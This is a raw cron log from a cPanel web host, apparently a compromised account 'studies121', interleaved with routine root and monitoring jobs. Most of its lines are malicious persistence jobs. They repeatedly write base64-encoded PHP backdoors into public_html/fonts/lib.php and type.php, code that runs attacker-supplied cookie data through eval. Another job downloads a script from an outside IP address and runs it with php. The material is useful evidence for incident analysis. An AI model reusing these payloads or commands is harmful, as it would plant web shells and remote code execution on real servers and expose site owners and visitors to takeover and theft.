Sep  3 21:17:01 ip-184-168-122-23 CROND[1059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:17:01 ip-184-168-122-23 CROND[1061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:17:01 ip-184-168-122-23 CROND[1060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:18:01 ip-184-168-122-23 CROND[1229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:18:01 ip-184-168-122-23 CROND[1231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:18:01 ip-184-168-122-23 CROND[1234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:18:01 ip-184-168-122-23 CROND[1236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:18:01 ip-184-168-122-23 CROND[1237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:19:01 ip-184-168-122-23 CROND[1328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:19:01 ip-184-168-122-23 CROND[1330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:19:01 ip-184-168-122-23 CROND[1332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:19:01 ip-184-168-122-23 CROND[1331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:20:02 ip-184-168-122-23 CROND[1443]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 21:20:02 ip-184-168-122-23 CROND[1445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:20:02 ip-184-168-122-23 CROND[1449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:20:02 ip-184-168-122-23 CROND[1446]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:20:02 ip-184-168-122-23 CROND[1447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:20:02 ip-184-168-122-23 CROND[1450]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:20:02 ip-184-168-122-23 CROND[1448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:20:02 ip-184-168-122-23 CROND[1452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:20:02 ip-184-168-122-23 CROND[1451]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:21:01 ip-184-168-122-23 CROND[1542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:21:01 ip-184-168-122-23 CROND[1545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:21:01 ip-184-168-122-23 CROND[1546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:21:01 ip-184-168-122-23 CROND[1547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:22:01 ip-184-168-122-23 CROND[1633]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:22:01 ip-184-168-122-23 CROND[1635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:22:01 ip-184-168-122-23 CROND[1637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:22:01 ip-184-168-122-23 CROND[1636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:22:01 ip-184-168-122-23 CROND[1638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:23:01 ip-184-168-122-23 CROND[1795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:23:01 ip-184-168-122-23 CROND[1798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:23:01 ip-184-168-122-23 CROND[1799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:23:01 ip-184-168-122-23 CROND[1800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:24:01 ip-184-168-122-23 CROND[1877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:24:01 ip-184-168-122-23 CROND[1880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:24:01 ip-184-168-122-23 CROND[1879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:24:01 ip-184-168-122-23 CROND[1881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:24:01 ip-184-168-122-23 CROND[1882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:25:01 ip-184-168-122-23 CROND[1965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:25:01 ip-184-168-122-23 CROND[1967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:25:01 ip-184-168-122-23 CROND[1969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:25:01 ip-184-168-122-23 CROND[1973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:25:01 ip-184-168-122-23 CROND[1972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:25:01 ip-184-168-122-23 CROND[1971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:26:01 ip-184-168-122-23 CROND[2049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:26:01 ip-184-168-122-23 CROND[2050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:26:01 ip-184-168-122-23 CROND[2051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:26:01 ip-184-168-122-23 CROND[2052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:26:01 ip-184-168-122-23 CROND[2054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:27:01 ip-184-168-122-23 CROND[2134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:27:01 ip-184-168-122-23 CROND[2135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:27:01 ip-184-168-122-23 CROND[2137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:27:01 ip-184-168-122-23 CROND[2138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:28:01 ip-184-168-122-23 CROND[2317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:28:01 ip-184-168-122-23 CROND[2320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:28:01 ip-184-168-122-23 CROND[2319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:28:01 ip-184-168-122-23 CROND[2321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:28:01 ip-184-168-122-23 CROND[2322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:29:01 ip-184-168-122-23 CROND[2410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:29:01 ip-184-168-122-23 CROND[2413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:29:01 ip-184-168-122-23 CROND[2411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
